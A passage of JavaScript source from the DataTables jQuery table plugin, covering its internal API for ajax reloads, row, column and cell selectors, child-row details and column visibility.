Like `ajax.reload()` it will\n\t * automatically redraw the table once the remote data has been loaded.\n\t *\n\t * @returns {DataTables.Api} this\n\t */\n\t_api_register( 'ajax.url().load()', function ( callback, resetPaging ) {\n\t\t// Same as a reload, but makes sense to present it for easy access after a\n\t\t// url change\n\t\treturn this.iterator( 'table', function ( ctx ) {\n\t\t\t__reload( ctx, resetPaging===false, callback );\n\t\t} );\n\t} );\n\t\n\t\n\t\n\t\n\tvar _selector_run = function ( selector, select )\n\t{\n\t\tvar\n\t\t\tout = [], res,\n\t\t\ta, i, ien, j, jen;\n\t\n\t\tif ( ! $.isArray( selector ) ) {\n\t\t\tselector = [ selector ];\n\t\t}\n\t\n\t\tfor ( i=0, ien=selector.length ; i<ien ; i++ ) {\n\t\t\ta = selector[i] && selector[i].split ?\n\t\t\t\tselector[i].split(',') :\n\t\t\t\t[ selector[i] ];\n\t\n\t\t\tfor ( j=0, jen=a.length ; j<jen ; j++ ) {\n\t\t\t\tres = select( typeof a[j] === 'string' ? $.trim(a[j]) : a[j] );\n\t\n\t\t\t\tif ( res && res.length ) {\n\t\t\t\t\tout.push.apply( out, res );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\treturn out;\n\t};\n\t\n\t\n\tvar _selector_opts = function ( opts )\n\t{\n\t\tif ( ! opts ) {\n\t\t\topts = {};\n\t\t}\n\t\n\t\t// Backwards compatibility for 1.9- which used the terminology filter rather\n\t\t// than search\n\t\tif ( opts.filter && ! opts.search ) {\n\t\t\topts.search = opts.filter;\n\t\t}\n\t\n\t\treturn {\n\t\t\tsearch: opts.search || 'none',\n\t\t\torder:  opts.order  || 'current',\n\t\t\tpage:   opts.page   || 'all'\n\t\t};\n\t};\n\t\n\t\n\tvar _selector_first = function ( inst )\n\t{\n\t\t// Reduce the API instance to the first item found\n\t\tfor ( var i=0, ien=inst.length ; i<ien ; i++ ) {\n\t\t\tif ( inst[i].length > 0 ) {\n\t\t\t\t// Assign the first element to the first item in the instance\n\t\t\t\t// and truncate the instance and context\n\t\t\t\tinst[0] = inst[i];\n\t\t\t\tinst.length = 1;\n\t\t\t\tinst.context = [ inst.context[i] ];\n\t\n\t\t\t\treturn inst;\n\t\t\t}\n\t\t}\n\t\n\t\t// Not found - return an empty instance\n\t\tinst.length = 0;\n\t\treturn inst;\n\t};\n\t\n\t\n\tvar _selector_row_indexes = function ( settings, opts )\n\t{\n\t\tvar\n\t\t\ti, ien, tmp, a=[],\n\t\t\tdisplayFiltered = settings.aiDisplay,\n\t\t\tdisplayMaster = settings.aiDisplayMaster;\n\t\n\t\tvar\n\t\t\tsearch = opts.search,  // none, applied, removed\n\t\t\torder  = opts.order,   // applied, current, index (original - compatibility with 1.9)\n\t\t\tpage   = opts.page;    // all, current\n\t\n\t\t// Current page implies that order=current and fitler=applied, since it is\n\t\t// fairly senseless otherwise, regardless of what order and search actually\n\t\t// are\n\t\tif ( page == 'current' )\n\t\t{\n\t\t\tfor ( i=settings._iDisplayStart, ien=settings.fnDisplayEnd() ; i<ien ; i++ ) {\n\t\t\t\ta.push( displayFiltered[i] );\n\t\t\t}\n\t\t}\n\t\telse if ( order == 'current' || order == 'applied' ) {\n\t\t\ta = search == 'none' ?\n\t\t\t\tdisplayMaster.slice() :                      // no search\n\t\t\t\tsearch == 'applied' ?\n\t\t\t\t\tdisplayFiltered.slice() :                // applied search\n\t\t\t\t\t$.map( displayMaster, function (el, i) { // removed search\n\t\t\t\t\t\treturn $.inArray( el, displayFiltered ) === -1 ? el : null;\n\t\t\t\t\t} );\n\t\t}\n\t\telse if ( order == 'index' || order == 'original' ) {\n\t\t\tfor ( i=0, ien=settings.aoData.length ; i<ien ; i++ ) {\n\t\t\t\tif ( search == 'none' ) {\n\t\t\t\t\ta.push( i );\n\t\t\t\t}\n\t\t\t\telse { // applied | removed\n\t\t\t\t\ttmp = $.inArray( i, displayFiltered );\n\t\n\t\t\t\t\tif ((tmp === -1 && search == 'removed') ||\n\t\t\t\t\t\t(tmp === 1  && search == 'applied') )\n\t\t\t\t\t{\n\t\t\t\t\t\ta.push( i );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\treturn a;\n\t};\n\t\n\t\n\t/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n\t * Rows\n\t *\n\t * {}          - no selector - use all available rows\n\t * {integer}   - row aoData index\n\t * {node}      - TR node\n\t * {string}    - jQuery selector to apply to the TR elements\n\t * {array}     - jQuery array of nodes, or simply an array of TR nodes\n\t *\n\t */\n\t\n\t\n\tvar __row_selector = function ( settings, selector, opts )\n\t{\n\t\treturn _selector_run( selector, function ( sel ) {\n\t\t\tvar selInt = _intVal( sel );\n\t\n\t\t\t// Short cut - selector is a number and no options provided (default is\n\t\t\t// all records, so no need to check if the index is in there, since it\n\t\t\t// must be - dev error if the index doesn't exist).\n\t\t\tif ( selInt !== null && ! opts ) {\n\t\t\t\treturn [ selInt ];\n\t\t\t}\n\t\n\t\t\tvar rows = _selector_row_indexes( settings, opts );\n\t\n\t\t\tif ( selInt !== null && $.inArray( selInt, rows ) !== -1 ) {\n\t\t\t\t// Selector - integer\n\t\t\t\treturn [ selInt ];\n\t\t\t}\n\t\t\telse if ( ! sel ) {\n\t\t\t\t// Selector - none\n\t\t\t\treturn rows;\n\t\t\t}\n\t\n\t\t\t// Get nodes in the order from the `rows` array (can't use `pluck`) @todo - use pluck_order\n\t\t\tvar nodes = [];\n\t\t\tfor ( var i=0, ien=rows.length ; i<ien ; i++ ) {\n\t\t\t\tnodes.push( settings.aoData[ rows[i] ].nTr );\n\t\t\t}\n\t\n\t\t\tif ( sel.nodeName ) {\n\t\t\t\t// Selector - node\n\t\t\t\tif ( $.inArray( sel, nodes ) !== -1 ) {\n\t\t\t\t\treturn [ sel._DT_RowIndex ];// sel is a TR node that is in the table\n\t\t\t\t\t\t\t\t\t\t\t// and DataTables adds a prop for fast lookup\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\t// Selector - jQuery selector string, array of nodes or jQuery object/\n\t\t\t// As jQuery's .filter() allows jQuery objects to be passed in filter,\n\t\t\t// it also allows arrays, so this will cope with all three options\n\t\t\treturn $(nodes)\n\t\t\t\t.filter( sel )\n\t\t\t\t.map( function () {\n\t\t\t\t\treturn this._DT_RowIndex;\n\t\t\t\t} )\n\t\t\t\t.toArray();\n\t\t} );\n\t};\n\t\n\t\n\t/**\n\t *\n\t */\n\t_api_register( 'rows()', function ( selector, opts ) {\n\t\t// argument shifting\n\t\tif ( selector === undefined ) {\n\t\t\tselector = '';\n\t\t}\n\t\telse if ( $.isPlainObject( selector ) ) {\n\t\t\topts = selector;\n\t\t\tselector = '';\n\t\t}\n\t\n\t\topts = _selector_opts( opts );\n\t\n\t\tvar inst = this.iterator( 'table', function ( settings ) {\n\t\t\treturn __row_selector( settings, selector, opts );\n\t\t} );\n\t\n\t\t// Want argument shifting here and in __row_selector?\n\t\tinst.selector.rows = selector;\n\t\tinst.selector.opts = opts;\n\t\n\t\treturn inst;\n\t} );\n\t\n\t\n\t_api_registerPlural( 'rows().nodes()', 'row().node()' , function () {\n\t\treturn this.iterator( 'row', function ( settings, row ) {\n\t\t\t// use pluck order on an array rather - rows gives an array, row gives it individually\n\t\t\treturn settings.aoData[ row ].nTr || undefined;\n\t\t} );\n\t} );\n\t\n\t\n\t_api_register( 'rows().data()', function () {\n\t\treturn this.iterator( true, 'rows', function ( settings, rows ) {\n\t\t\treturn _pluck_order( settings.aoData, rows, '_aData' );\n\t\t} );\n\t} );\n\t\n\t_api_registerPlural( 'rows().cache()', 'row().cache()', function ( type ) {\n\t\treturn this.iterator( 'row', function ( settings, row ) {\n\t\t\tvar r = settings.aoData[ row ];\n\t\t\treturn type === 'search' ? r._aFilterData : r._aSortData;\n\t\t} );\n\t} );\n\t\n\t_api_registerPlural( 'rows().invalidate()', 'row().invalidate()', function ( src ) {\n\t\treturn this.iterator( 'row', function ( settings, row ) {\n\t\t\t_fnInvalidateRow( settings, row, src );\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'rows().indexes()', 'row().index()', function () {\n\t\treturn this.iterator( 'row', function ( settings, row ) {\n\t\t\treturn row;\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'rows().remove()', 'row().remove()', function () {\n\t\tvar that = this;\n\t\n\t\treturn this.iterator( 'row', function ( settings, row, thatIdx ) {\n\t\t\tvar data = settings.aoData;\n\t\n\t\t\tdata.splice( row, 1 );\n\t\n\t\t\t// Update the _DT_RowIndex parameter on all rows in the table\n\t\t\tfor ( var i=0, ien=data.length ; i<ien ; i++ ) {\n\t\t\t\tif ( data[i].nTr !== null ) {\n\t\t\t\t\tdata[i].nTr._DT_RowIndex = i;\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\t// Remove the target row from the search array\n\t\t\tvar displayIndex = $.inArray( row, settings.aiDisplay );\n\t\n\t\t\t// Delete from the display arrays\n\t\t\t_fnDeleteIndex( settings.aiDisplayMaster, row );\n\t\t\t_fnDeleteIndex( settings.aiDisplay, row );\n\t\t\t_fnDeleteIndex( that[ thatIdx ], row, false ); // maintain local indexes\n\t\n\t\t\t// Check for an 'overflow' they case for displaying the table\n\t\t\t_fnLengthOverflow( settings );\n\t\t} );\n\t} );\n\t\n\t\n\t_api_register( 'rows.add()', function ( rows ) {\n\t\tvar newRows = this.iterator( 'table', function ( settings ) {\n\t\t\t\tvar row, i, ien;\n\t\t\t\tvar out = [];\n\t\n\t\t\t\tfor ( i=0, ien=rows.length ; i<ien ; i++ ) {\n\t\t\t\t\trow = rows[i];\n\t\n\t\t\t\t\tif ( row.nodeName && row.nodeName.toUpperCase() === 'TR' ) {\n\t\t\t\t\t\tout.push( _fnAddTr( settings, row )[0] );\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tout.push( _fnAddData( settings, row ) );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\treturn out;\n\t\t\t} );\n\t\n\t\t// Return an Api.rows() extended instance, so rows().nodes() etc can be used\n\t\tvar modRows = this.rows( -1 );\n\t\tmodRows.pop();\n\t\tmodRows.push.apply( modRows, newRows );\n\t\n\t\treturn modRows;\n\t} );\n\t\n\t\n\t\n\t\n\t\n\t/**\n\t *\n\t */\n\t_api_register( 'row()', function ( selector, opts ) {\n\t\treturn _selector_first( this.rows( selector, opts ) );\n\t} );\n\t\n\t\n\t_api_register( 'row().data()', function ( data ) {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( data === undefined ) {\n\t\t\t// Get\n\t\t\treturn ctx.length && this.length ?\n\t\t\t\tctx[0].aoData[ this[0] ]._aData :\n\t\t\t\tundefined;\n\t\t}\n\t\n\t\t// Set\n\t\tctx[0].aoData[ this[0] ]._aData = data;\n\t\n\t\t// Automatically invalidate\n\t\t_fnInvalidateRow( ctx[0], this[0], 'data' );\n\t\n\t\treturn this;\n\t} );\n\t\n\t\n\t_api_register( 'row.add()', function ( row ) {\n\t\t// Allow a jQuery object to be passed in - only a single row is added from\n\t\t// it though - the first element in the set\n\t\tif ( row instanceof $ && row.length ) {\n\t\t\trow = row[0];\n\t\t}\n\t\n\t\tvar rows = this.iterator( 'table', function ( settings ) {\n\t\t\tif ( row.nodeName && row.nodeName.toUpperCase() === 'TR' ) {\n\t\t\t\treturn _fnAddTr( settings, row )[0];\n\t\t\t}\n\t\t\treturn _fnAddData( settings, row );\n\t\t} );\n\t\n\t\t// Return an Api.rows() extended instance, with the newly added row selected\n\t\treturn this.row( rows[0] );\n\t} );\n\t\n\t\n\t\n\tvar __details_add = function ( ctx, row, data, klass )\n\t{\n\t\t// Convert to array of TR elements\n\t\tvar rows = [];\n\t\tvar addRow = function ( r, k ) {\n\t\t\tif ( ! r.nodeName || r.nodeName.toUpperCase() !== 'tr' ) {\n\t\t\t\tr = $('<tr><td></td></tr>').find('td').html( r ).parent();\n\t\t\t}\n\t\n\t\t\t$('td', r).addClass( k )[0].colSpan = _fnVisbleColumns( ctx );\n\t\t\trows.push( r[0] );\n\t\t};\n\t\n\t\tif ( $.isArray( data ) || data instanceof $ ) {\n\t\t\tfor ( var i=0, ien=data.length ; i<ien ; i++ ) {\n\t\t\t\taddRow( data[i], klass );\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\taddRow( data, klass );\n\t\t}\n\t\n\t\tif ( row._details ) {\n\t\t\trow._details.remove();\n\t\t}\n\t\n\t\trow._details = $(rows);\n\t\n\t\t// If the children were already shown, that state should be retained\n\t\tif ( row._detailsShow ) {\n\t\t\trow._details.insertAfter( row.nTr );\n\t\t}\n\t};\n\t\n\t\n\tvar __details_display = function ( show ) {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( ctx.length && this.length ) {\n\t\t\tvar row = ctx[0].aoData[ this[0] ];\n\t\n\t\t\tif ( row._details ) {\n\t\t\t\trow._detailsShow = show;\n\t\t\t\tif ( show ) {\n\t\t\t\t\trow._details.insertAfter( row.nTr );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\trow._details.remove();\n\t\t\t\t}\n\t\n\t\t\t\t__details_events( ctx[0] );\n\t\t\t}\n\t\t}\n\t\n\t\treturn this;\n\t};\n\t\n\t\n\tvar __details_events = function ( settings )\n\t{\n\t\tvar table = $(settings.nTable);\n\t\n\t\ttable.off('draw.DT_details');\n\t\ttable.off('column-visibility.DT_details');\n\t\n\t\tif ( _pluck( settings.aoData, '_details' ).length > 0 ) {\n\t\t\t// On each draw, insert the required elements into the document\n\t\t\ttable.on('draw.DT_details', function () {\n\t\t\t\ttable.find('tbody tr').each( function () {\n\t\t\t\t\t// Look up the row index for each row and append open row\n\t\t\t\t\tvar rowIdx = _fnNodeToDataIndex( settings, this );\n\t\t\t\t\tvar row = settings.aoData[ rowIdx ];\n\t\n\t\t\t\t\tif ( row._detailsShow ) {\n\t\t\t\t\t\trow._details.insertAfter( this );\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t} );\n\t\n\t\t\t// Column visibility change - update the colspan\n\t\t\ttable.on( 'column-visibility.DT_details', function ( e, settings, idx, vis ) {\n\t\t\t\t// Update the colspan for the details rows (note, only if it already has\n\t\t\t\t// a colspan)\n\t\t\t\tvar row, visible = _fnVisbleColumns( settings );\n\t\n\t\t\t\tfor ( var i=0, ien=settings.aoData.length ; i<ien ; i++ ) {\n\t\t\t\t\trow = settings.aoData[i];\n\t\n\t\t\t\t\tif ( row._details ) {\n\t\t\t\t\t\trow._details.children('td[colspan]').attr('colspan', visible );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\t};\n\t\n\t// data can be:\n\t//  tr\n\t//  string\n\t//  jQuery or array of any of the above\n\t_api_register( 'row().child()', function ( data, klass ) {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( data === undefined ) {\n\t\t\t// get\n\t\t\treturn ctx.length && this.length ?\n\t\t\t\tctx[0].aoData[ this[0] ]._details :\n\t\t\t\tundefined;\n\t\t}\n\t\telse if ( ctx.length && this.length ) {\n\t\t\t// set\n\t\t\t__details_add( ctx[0], ctx[0].aoData[ this[0] ], data, klass );\n\t\t}\n\t\n\t\treturn this;\n\t} );\n\t\n\t_api_register( [\n\t\t'row().child.show()',\n\t\t'row().child().show()'\n\t], function () {\n\t\t__details_display.call( this, true );\n\t} );\n\t\n\t_api_register( [\n\t\t'row().child.hide()',\n\t\t'row().child().hide()'\n\t], function () {\n\t\t__details_display.call( this, false );\n\t} );\n\t\n\t_api_register( 'row().child.isShown()', function () {\n\t\tvar ctx = this.context;\n\t\n\t\tif ( ctx.length && this.length ) {\n\t\t\t// _detailsShown as false or undefined will fall through to return false\n\t\t\treturn ctx[0].aoData[ this[0] ]._detailsShow || false;\n\t\t}\n\t\treturn false;\n\t} );\n\t\n\t\n\t\n\t/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n\t * Columns\n\t *\n\t * {integer}           - column index (>=0 count from left, <0 count from right)\n\t * \"{integer}:visIdx\"  - visible column index (i.e. translate to column index)  (>=0 count from left, <0 count from right)\n\t * \"{integer}:visible\" - alias for {integer}:visIdx  (>=0 count from left, <0 count from right)\n\t * \"{string}:name\"     - column name\n\t * \"{string}\"          - jQuery selector on column header nodes\n\t *\n\t */\n\t\n\t// can be an array of these items, comma separated list, or an array of comma\n\t// separated lists\n\t\n\tvar __re_column_selector = /^(.*):(name|visIdx|visible)$/;\n\t\n\tvar __column_selector = function ( settings, selector, opts )\n\t{\n\t\tvar\n\t\t\tcolumns = settings.aoColumns,\n\t\t\tnames = _pluck( columns, 'sName' ),\n\t\t\tnodes = _pluck( columns, 'nTh' );\n\t\n\t\treturn _selector_run( selector, function ( s ) {\n\t\t\tvar selInt = _intVal( s );\n\t\n\t\t\tif ( s === '' ) {\n\t\t\t\t// All columns\n\t\t\t\treturn _range( settings.aoColumns.length );\n\t\t\t}\n\t\t\telse if ( selInt !== null ) {\n\t\t\t\t// Integer selector\n\t\t\t\treturn [ selInt >= 0 ?\n\t\t\t\t\tselInt : // Count from left\n\t\t\t\t\tcolumns.length + selInt // Count from right (+ because its a negative value)\n\t\t\t\t];\n\t\t\t}\n\t\t\telse {\n\t\t\t\tvar match = s.match( __re_column_selector );\n\t\n\t\t\t\tif ( match ) {\n\t\t\t\t\tswitch( match[2] ) {\n\t\t\t\t\t\tcase 'visIdx':\n\t\t\t\t\t\tcase 'visible':\n\t\t\t\t\t\t\tvar idx = parseInt( match[1], 10 );\n\t\t\t\t\t\t\t// Visible index given, convert to column index\n\t\t\t\t\t\t\tif ( idx < 0 ) {\n\t\t\t\t\t\t\t\t// Counting from the right\n\t\t\t\t\t\t\t\tvar visColumns = $.map( columns, function (col,i) {\n\t\t\t\t\t\t\t\t\treturn col.bVisible ? i : null;\n\t\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t\t\treturn [ visColumns[ visColumns.length + idx ] ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// Counting from the left\n\t\t\t\t\t\t\treturn [ _fnVisibleToColumnIndex( settings, idx ) ];\n\t\n\t\t\t\t\t\tcase 'name':\n\t\t\t\t\t\t\t// match by name. `names` is column index complete and in order\n\t\t\t\t\t\t\treturn $.map( names, function (name, i) {\n\t\t\t\t\t\t\t\treturn name === match[1] ? i : null;\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t// jQuery selector on the TH elements for the columns\n\t\t\t\t\treturn $( nodes )\n\t\t\t\t\t\t.filter( s )\n\t\t\t\t\t\t.map( function () {\n\t\t\t\t\t\t\treturn $.inArray( this, nodes ); // `nodes` is column index complete and in order\n\t\t\t\t\t\t} )\n\t\t\t\t\t\t.toArray();\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t};\n\t\n\t\n\t\n\t\n\t\n\tvar __setColumnVis = function ( settings, column, vis ) {\n\t\tvar\n\t\t\tcols = settings.aoColumns,\n\t\t\tcol  = cols[ column ],\n\t\t\tdata = settings.aoData,\n\t\t\trow, cells, i, ien, tr;\n\t\n\t\t// Get\n\t\tif ( vis === undefined ) {\n\t\t\treturn col.bVisible;\n\t\t}\n\t\n\t\t// Set\n\t\t// No change\n\t\tif ( col.bVisible === vis ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\tif ( vis ) {\n\t\t\t// Insert column\n\t\t\t// Need to decide if we should use appendChild or insertBefore\n\t\t\tvar insertBefore = $.inArray( true, _pluck(cols, 'bVisible'), column+1 );\n\t\n\t\t\tfor ( i=0, ien=data.length ; i<ien ; i++ ) {\n\t\t\t\ttr = data[i].nTr;\n\t\t\t\tcells = data[i].anCells;\n\t\n\t\t\t\tif ( tr ) {\n\t\t\t\t\t// insertBefore can act like appendChild if 2nd arg is null\n\t\t\t\t\ttr.insertBefore( cells[ column ], cells[ insertBefore ] || null );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t// Remove column\n\t\t\t$( _pluck( settings.aoData, 'anCells', column ) ).remove();\n\t\n\t\t\tcol.bVisible = false;\n\t\t\t_fnDrawHead( settings, settings.aoHeader );\n\t\t\t_fnDrawHead( settings, settings.aoFooter );\n\t\n\t\t\t_fnSaveState( settings );\n\t\t}\n\t\n\t\t// Common actions\n\t\tcol.bVisible = vis;\n\t\t_fnDrawHead( settings, settings.aoHeader );\n\t\t_fnDrawHead( settings, settings.aoFooter );\n\t\n\t\t// Automatically adjust column sizing\n\t\t_fnAdjustColumnSizing( settings );\n\t\n\t\t// Realign columns for scrolling\n\t\tif ( settings.oScroll.sX || settings.oScroll.sY ) {\n\t\t\t_fnScrollDraw( settings );\n\t\t}\n\t\n\t\t_fnCallbackFire( settings, null, 'column-visibility', [settings, column, vis] );\n\t\n\t\t_fnSaveState( settings );\n\t};\n\t\n\t\n\t/**\n\t *\n\t */\n\t_api_register( 'columns()', function ( selector, opts ) {\n\t\t// argument shifting\n\t\tif ( selector === undefined ) {\n\t\t\tselector = '';\n\t\t}\n\t\telse if ( $.isPlainObject( selector ) ) {\n\t\t\topts = selector;\n\t\t\tselector = '';\n\t\t}\n\t\n\t\topts = _selector_opts( opts );\n\t\n\t\tvar inst = this.iterator( 'table', function ( settings ) {\n\t\t\treturn __column_selector( settings, selector, opts );\n\t\t} );\n\t\n\t\t// Want argument shifting here and in _row_selector?\n\t\tinst.selector.cols = selector;\n\t\tinst.selector.opts = opts;\n\t\n\t\treturn inst;\n\t} );\n\t\n\t\n\t/**\n\t *\n\t */\n\t_api_registerPlural( 'columns().header()', 'column().header()', function ( selector, opts ) {\n\t\treturn this.iterator( 'column', function ( settings, column ) {\n\t\t\treturn settings.aoColumns[column].nTh;\n\t\t} );\n\t} );\n\t\n\t\n\t/**\n\t *\n\t */\n\t_api_registerPlural( 'columns().footer()', 'column().footer()', function ( selector, opts ) {\n\t\treturn this.iterator( 'column', function ( settings, column ) {\n\t\t\treturn settings.aoColumns[column].nTf;\n\t\t} );\n\t} );\n\t\n\t\n\t/**\n\t *\n\t */\n\t_api_registerPlural( 'columns().data()', 'column().data()', function () {\n\t\treturn this.iterator( 'column-rows', function ( settings, column, i, j, rows ) {\n\t\t\tvar a = [];\n\t\t\tfor ( var row=0, ien=rows.length ; row<ien ; row++ ) {\n\t\t\t\ta.push( _fnGetCellData( settings, rows[row], column, '' ) );\n\t\t\t}\n\t\t\treturn a;\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'columns().cache()', 'column().cache()', function ( type ) {\n\t\treturn this.iterator( 'column-rows', function ( settings, column, i, j, rows ) {\n\t\t\treturn _pluck_order( settings.aoData, rows,\n\t\t\t\ttype === 'search' ? '_aFilterData' : '_aSortData', column\n\t\t\t);\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'columns().nodes()', 'column().nodes()', function () {\n\t\treturn this.iterator( 'column-rows', function ( settings, column, i, j, rows ) {\n\t\t\treturn _pluck_order( settings.aoData, rows, 'anCells', column ) ;\n\t\t} );\n\t} );\n\t\n\t\n\t\n\t_api_registerPlural( 'columns().visible()', 'column().visible()', function ( vis ) {\n\t\treturn this.iterator( 'column', function ( settings, column ) {\n\t\t\treturn __setColumnVis( settings, column, vis );\n\t\t} );\n\t} );\n\t\n\t\n\t\n\t_api_registerPlural( 'columns().indexes()', 'column().index()', function ( type ) {\n\t\treturn this.iterator( 'column', function ( settings, column ) {\n\t\t\treturn type === 'visible' ?\n\t\t\t\t_fnColumnIndexToVisible( settings, column ) :\n\t\t\t\tcolumn;\n\t\t} );\n\t} );\n\t\n\t\n\t// _api_register( 'columns().show()', function () {\n\t// \tvar selector = this.selector;\n\t// \treturn this.columns( selector.cols, selector.opts ).visible( true );\n\t// } );\n\t\n\t\n\t// _api_register( 'columns().hide()', function () {\n\t// \tvar selector = this.selector;\n\t// \treturn this.columns( selector.cols, selector.opts ).visible( false );\n\t// } );\n\t\n\t\n\t\n\t_api_register( 'columns.adjust()', function () {\n\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\t_fnAdjustColumnSizing( settings );\n\t\t} );\n\t} );\n\t\n\t\n\t// Convert from one column index type, to another type\n\t_api_register( 'column.index()', function ( type, idx ) {\n\t\tif ( this.context.length !== 0 ) {\n\t\t\tvar ctx = this.context[0];\n\t\n\t\t\tif ( type === 'fromVisible' || type === 'toData' ) {\n\t\t\t\treturn _fnColumnIndexToVisible( ctx, idx );\n\t\t\t}\n\t\t\telse if ( type === 'fromData' || type === 'toVisible' ) {\n\t\t\t\treturn _fnVisibleToColumnIndex( ctx, idx );\n\t\t\t}\n\t\t}\n\t} );\n\t\n\t\n\t_api_register( 'column()', function ( selector, opts ) {\n\t\treturn _selector_first( this.columns( selector, opts ) );\n\t} );\n\t\n\t\n\t\n\t\n\tvar __cell_selector = function ( settings, selector, opts )\n\t{\n\t\tvar data = settings.aoData;\n\t\tvar rows = _selector_row_indexes( settings, opts );\n\t\tvar cells = _pluck_order( data, rows, 'anCells' );\n\t\tvar allCells = $( [].concat.apply([], cells) );\n\t\tvar row;\n\t\tvar columns = settings.aoColumns.length;\n\t\tvar a, i, ien, j;\n\t\n\t\treturn _selector_run( selector, function ( s ) {\n\t\t\tif ( ! s ) {\n\t\t\t\t// All cells\n\t\t\t\ta = [];\n\t\n\t\t\t\tfor ( i=0, ien=rows.length ; i<ien ; i++ ) {\n\t\t\t\t\trow = rows[i];\n\t\n\t\t\t\t\tfor ( j=0 ; j<columns ; j++ ) {\n\t\t\t\t\t\ta.push( {\n\t\t\t\t\t\t\trow: row,\n\t\t\t\t\t\t\tcolumn: j\n\t\t\t\t\t\t} );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\n\t\t\t\treturn a;\n\t\t\t}\n\t\n\t\t\t// jQuery filtered cells\n\t\t\treturn allCells.filter( s ).map( function (i, el) {\n\t\t\t\trow = el.parentNode._DT_RowIndex;\n\t\n\t\t\t\treturn {\n\t\t\t\t\trow: row,\n\t\t\t\t\tcolumn: $.inArray( el, data[ row ].anCells )\n\t\t\t\t};\n\t\t\t} );\n\t\t} );\n\t};\n\t\n\t\n\t\n\t\n\t_api_register( 'cells()', function ( rowSelector, columnSelector, opts ) {\n\t\t// Argument shifting\n\t\tif ( $.isPlainObject( rowSelector ) ) {\n\t\t\topts = rowSelector;\n\t\t\trowSelector = null;\n\t\t}\n\t\tif ( $.isPlainObject( columnSelector ) ) {\n\t\t\topts = columnSelector;\n\t\t\tcolumnSelector = null;\n\t\t}\n\t\n\t\t// Cell selector\n\t\tif ( columnSelector === null || columnSelector === undefined ) {\n\t\t\treturn this.iterator( 'table', function ( settings ) {\n\t\t\t\treturn __cell_selector( settings, rowSelector, _selector_opts( opts ) );\n\t\t\t} );\n\t\t}\n\t\n\t\t// Row + column selector\n\t\tvar columns = this.columns( columnSelector, opts );\n\t\tvar rows = this.rows( rowSelector, opts );\n\t\tvar a, i, ien, j, jen;\n\t\n\t\tvar cells = this.iterator( 'table', function ( settings, idx ) {\n\t\t\ta = [];\n\t\n\t\t\tfor ( i=0, ien=rows[idx].length ; i<ien ; i++ ) {\n\t\t\t\tfor ( j=0, jen=columns[idx].length ; j<jen ; j++ ) {\n\t\t\t\t\ta.push( {\n\t\t\t\t\t\trow:    rows[idx][i],\n\t\t\t\t\t\tcolumn: columns[idx][j]\n\t\t\t\t\t} );\n\t\t\t\t}\n\t\t\t}\n\t\n\t\t\treturn a;\n\t\t} );\n\t\n\t\t$.extend( cells.selector, {\n\t\t\tcols: columnSelector,\n\t\t\trows: rowSelector,\n\t\t\topts: opts\n\t\t} );\n\t\n\t\treturn cells;\n\t} );\n\t\n\t\n\t_api_registerPlural( 'cells().nodes()', 'cell().node()', function () {\n\t\treturn this.iterator( 'cell', function ( settings, row, column ) {\n\t\t\treturn settings.aoData[ row ].anCells[ column ];\n\t\t} );\n\t} );\n\t\n\t\n\t_api_register( 'cells().data()', function () {\n\t\treturn this.iterator( 'cell', function ( settings, row, column ) {\n\t\t\treturn _fnGetCellData( settings, row, column );\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'cells().cache()', 'cell().cache()', function ( type ) {\n\t\ttype = type === 'search' ? '_aFilterData' : '_aSortData';\n\t\n\t\treturn this.iterator( 'cell', function ( settings, row, column ) {\n\t\t\treturn settings.aoData[ row ][ type ][ column ];\n\t\t} );\n\t} );\n\t\n\t\n\t_api_registerPlural( 'cells().indexes()', 'cell().index()', function () {\n\t\treturn this.iterator( 'cell', function ( settings, row, column ) {\n\t\t\treturn {\n\t\t\t\trow: row,\n\t\t\t\tcolumn: column,\n\t\t\t\tcolumnVisible: _fnColumnIndexToVisible( settings, column )\n\t\t\t};\n\t\t} );\n\t} );\n\t\n\t\n\t_api_register( [\n\t\t'cells().invalidate()',\n\t\t'cell().invalidate()'\n\t], function ( src ) {\n\t\tvar selector = this.selector;\n\t\n\t\t// Use the rows method of the instance to perform the invalidation, rather\n\t\t// than doing it here. This avoids needing to handle duplicate rows from\n\t\t// the cells.\n\t\tthis.rows( selector.rows, selector.opts ).invalidate( src );\n\t\n\t\treturn this;\n\t} );\n\t\n\t\n\t\n\t\n\t_api_register( 'cell()', function ( rowSelector, columnSelector, opts ) {\n\t\treturn _selector_first( this.cells( rowSelector, columnSelector, opts ) );\n\t} );\n\t\n\t\n\t\n\t_api_register( 'cell().data()', function ( data ) {\n\t\tvar ctx = this.context;\n\t\tvar cell = this[0];\n\t\n\t\tif ( data === undefined ) {\n\t\t\t// Get\n\t\t\treturn ctx.length && cell.length ?\n\t\t\t\t_fnGetCellData( ctx[0], cell[0].row, cell[0].column ) 